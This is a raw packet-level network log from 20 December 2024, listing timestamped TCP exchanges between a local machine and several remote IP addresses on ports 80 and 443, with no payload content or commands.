Dec 20, 2024 07:12:26.521534920 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:26.521585941 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:26.521758080 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:26.521806955 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:26.522830009 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:26.522881031 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:26.522962093 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:26.523014069 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:26.524056911 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:26.524108887 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:26.524111032 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:26.524157047 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:26.524928093 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:26.524976969 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:26.525016069 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:26.525065899 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:26.525803089 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:26.525861025 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:26.525914907 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:26.525964975 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:26.526763916 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:26.526818037 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:26.526818037 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:26.526875019 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:26.528112888 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:26.528186083 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:26.528248072 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:26.528295040 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:26.529825926 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:26.529889107 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:26.530081987 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:26.530129910 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:26.531497002 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:26.531559944 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:26.531645060 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:26.531694889 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:26.532808065 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:26.532866001 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:26.532962084 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:26.533016920 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:26.533744097 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:26.533816099 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:26.533866882 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:26.534028053 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:26.534594059 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:26.534643888 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:26.546053886 CET	443	49804	172.67.180.113	192.168.2.4
Dec 20, 2024 07:12:26.546190023 CET	443	49804	172.67.180.113	192.168.2.4
Dec 20, 2024 07:12:26.546252012 CET	49804	443	192.168.2.4	172.67.180.113
Dec 20, 2024 07:12:26.546292067 CET	443	49804	172.67.180.113	192.168.2.4
Dec 20, 2024 07:12:26.546390057 CET	443	49804	172.67.180.113	192.168.2.4
Dec 20, 2024 07:12:26.546461105 CET	49804	443	192.168.2.4	172.67.180.113
Dec 20, 2024 07:12:26.546478033 CET	443	49804	172.67.180.113	192.168.2.4
Dec 20, 2024 07:12:26.546572924 CET	443	49804	172.67.180.113	192.168.2.4
Dec 20, 2024 07:12:26.546633005 CET	49804	443	192.168.2.4	172.67.180.113
Dec 20, 2024 07:12:26.546644926 CET	443	49804	172.67.180.113	192.168.2.4
Dec 20, 2024 07:12:26.561608076 CET	443	49804	172.67.180.113	192.168.2.4
Dec 20, 2024 07:12:26.561688900 CET	49804	443	192.168.2.4	172.67.180.113
Dec 20, 2024 07:12:26.561702967 CET	443	49804	172.67.180.113	192.168.2.4
Dec 20, 2024 07:12:26.576199055 CET	443	49806	172.67.209.202	192.168.2.4
Dec 20, 2024 07:12:26.576397896 CET	49806	443	192.168.2.4	172.67.209.202
Dec 20, 2024 07:12:26.577630043 CET	49806	443	192.168.2.4	172.67.209.202
Dec 20, 2024 07:12:26.577658892 CET	443	49806	172.67.209.202	192.168.2.4
Dec 20, 2024 07:12:26.578270912 CET	443	49806	172.67.209.202	192.168.2.4
Dec 20, 2024 07:12:26.579416037 CET	49806	443	192.168.2.4	172.67.209.202
Dec 20, 2024 07:12:26.579591036 CET	49806	443	192.168.2.4	172.67.209.202
Dec 20, 2024 07:12:26.579643011 CET	443	49806	172.67.209.202	192.168.2.4
Dec 20, 2024 07:12:26.579804897 CET	49806	443	192.168.2.4	172.67.209.202
Dec 20, 2024 07:12:26.579838991 CET	443	49806	172.67.209.202	192.168.2.4
Dec 20, 2024 07:12:26.603434086 CET	49804	443	192.168.2.4	172.67.180.113
Dec 20, 2024 07:12:26.603456020 CET	443	49804	172.67.180.113	192.168.2.4
Dec 20, 2024 07:12:26.650321960 CET	49804	443	192.168.2.4	172.67.180.113
Dec 20, 2024 07:12:26.663410902 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:26.663491011 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:26.663580894 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:26.663970947 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:26.664098024 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:26.664154053 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:26.665172100 CET	443	49804	172.67.180.113	192.168.2.4
Dec 20, 2024 07:12:26.665465117 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:26.665654898 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:26.665687084 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:26.665946007 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:26.666991949 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:26.667167902 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:26.667224884 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:26.668080091 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:26.668313980 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:26.668365955 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:26.670269966 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:26.670464993 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:26.670516014 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:26.672476053 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:26.672527075 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:26.672660112 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:26.673522949 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:26.674498081 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:26.674551010 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:26.674631119 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:26.674683094 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:26.675266981 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:26.675318003 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:26.675334930 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:26.675385952 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:26.675896883 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:26.675934076 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:26.675949097 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:26.675977945 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:26.676744938 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:26.676799059 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:26.676884890 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:26.676937103 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:26.677788019 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:26.677822113 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:26.677874088 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:26.678435087 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:26.678487062 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:26.678539038 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:26.679204941 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:26.679258108 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:26.679349899 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:26.680772066 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:26.680820942 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:26.680869102 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:26.681550026 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:26.681765079 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:26.681915045 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:26.681967974 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:26.683376074 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:26.683494091 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:26.683543921 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:26.684165955 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:26.684216976 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:26.684263945 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:26.684797049 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:26.684830904 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:26.684851885 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:26.684890032 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:26.685372114 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:26.685424089 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:26.685442924 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:26.685491085 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:26.686743975 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:26.686877966 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:26.686934948 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:26.687741995 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:26.687912941 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:26.687971115 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:26.689009905 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:26.689062119 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:26.689120054 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:26.690136909 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:26.690771103 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:26.690824032 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:26.691452980 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:26.691509008 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:26.691572905 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:26.692497969 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:26.692553043 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:26.692591906 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:26.693526030 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:26.694284916 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:26.694469929 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:26.694526911 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:26.696144104 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:26.696387053 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:26.696445942 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:26.697305918 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:26.697355032 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:26.697371960 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:26.697519064 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:26.698235989 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:26.698281050 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:26.698334932 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:26.698384047 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:26.699260950 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:26.699307919 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:26.699424982 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:26.699470997 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:26.700412989 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:26.700462103 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:26.700567007 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:26.700613022 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:26.701224089 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:26.701277018 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:26.701339006 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:26.701392889 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:26.702147007 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:26.702256918 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:26.702306986 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:26.703608036 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:26.703741074 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:26.703807116 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:26.705073118 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:26.705302954 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:26.705364943 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:26.706485033 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:26.706537962 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:26.706594944 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:26.707060099 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:26.707110882 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:26.707161903 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:26.708164930 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:26.708241940 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:26.708363056 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:26.708415985 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:26.709628105 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:26.709662914 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:26.709712982 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:26.710876942 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:26.710951090 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:26.710999012 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:26.711909056 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:26.712050915 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:26.712100983 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:26.712809086 CET	49804	443	192.168.2.4	172.67.180.113
Dec 20, 2024 07:12:26.712831974 CET	443	49804	172.67.180.113	192.168.2.4
Dec 20, 2024 07:12:26.713381052 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:26.713433981 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:26.713536024 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:26.713587046 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:26.714932919 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:26.714989901 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:26.715092897 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:26.715142965 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:26.716871977 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:26.716923952 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:26.717014074 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:26.717062950 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:26.719008923 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:26.719122887 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:26.719173908 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:26.720922947 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:26.721031904 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:26.721086025 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:26.722193956 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:26.722284079 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:26.722332954 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:26.722899914 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:26.722949982 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:26.722950935 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:26.723413944 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:26.723464966 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:26.723465919 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:26.723969936 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:26.724020004 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:26.724039078 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:26.724090099 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:26.724677086 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:26.724726915 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:26.724778891 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:26.725811005 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:26.725934982 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:26.725987911 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:26.726885080 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:26.726938009 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:26.738622904 CET	443	49804	172.67.180.113	192.168.2.4
Dec 20, 2024 07:12:26.741533041 CET	49804	443	192.168.2.4	172.67.180.113
Dec 20, 2024 07:12:26.741547108 CET	443	49804	172.67.180.113	192.168.2.4
Dec 20, 2024 07:12:26.743933916 CET	443	49804	172.67.180.113	192.168.2.4
Dec 20, 2024 07:12:26.744087934 CET	49804	443	192.168.2.4	172.67.180.113
Dec 20, 2024 07:12:26.744101048 CET	443	49804	172.67.180.113	192.168.2.4
Dec 20, 2024 07:12:26.744152069 CET	443	49804	172.67.180.113	192.168.2.4
Dec 20, 2024 07:12:26.744251966 CET	49804	443	192.168.2.4	172.67.180.113
Dec 20, 2024 07:12:26.744251966 CET	49804	443	192.168.2.4	172.67.180.113
Dec 20, 2024 07:12:26.744297981 CET	443	49804	172.67.180.113	192.168.2.4
Dec 20, 2024 07:12:26.744337082 CET	49804	443	192.168.2.4	172.67.180.113
Dec 20, 2024 07:12:26.744354963 CET	443	49804	172.67.180.113	192.168.2.4
Dec 20, 2024 07:12:26.855954885 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:26.855997086 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:26.856089115 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:26.856431961 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:26.856570959 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:26.856626034 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:26.857722998 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:26.857772112 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:26.857825041 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:26.858351946 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:26.858407021 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:26.858426094 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:26.859383106 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:26.859433889 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:26.859437943 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:26.860538006 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:26.860594034 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:26.860651970 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:26.860702038 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:26.861743927 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:26.861831903 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:26.861893892 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:26.862910032 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:26.863058090 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:26.863111973 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:26.864263058 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:26.864316940 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:26.864397049 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:26.865521908 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:26.865844011 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:26.865892887 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:26.865920067 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:26.865972996 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:26.866995096 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:26.867203951 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:26.867268085 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:26.868504047 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:26.868592024 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:26.868657112 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:26.869575977 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:26.869627953 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:26.869683027 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:26.870210886 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:26.870297909 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:26.870349884 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:26.871253014 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:26.871309996 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:26.871391058 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:26.872431040 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:26.872494936 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:26.872550011 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:26.873527050 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:26.873610973 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:26.873769999 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:26.873822927 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:26.874881983 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:26.874934912 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:26.874993086 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:26.876049042 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:26.876101971 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:26.876162052 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:26.877213001 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:26.877361059 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:26.877418041 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:26.878576994 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:26.878724098 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:26.878784895 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:26.879740953 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:26.879802942 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:26.879934072 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:26.881182909 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:26.881218910 CET	80	49801	31.41.244.11	192.168.2.4
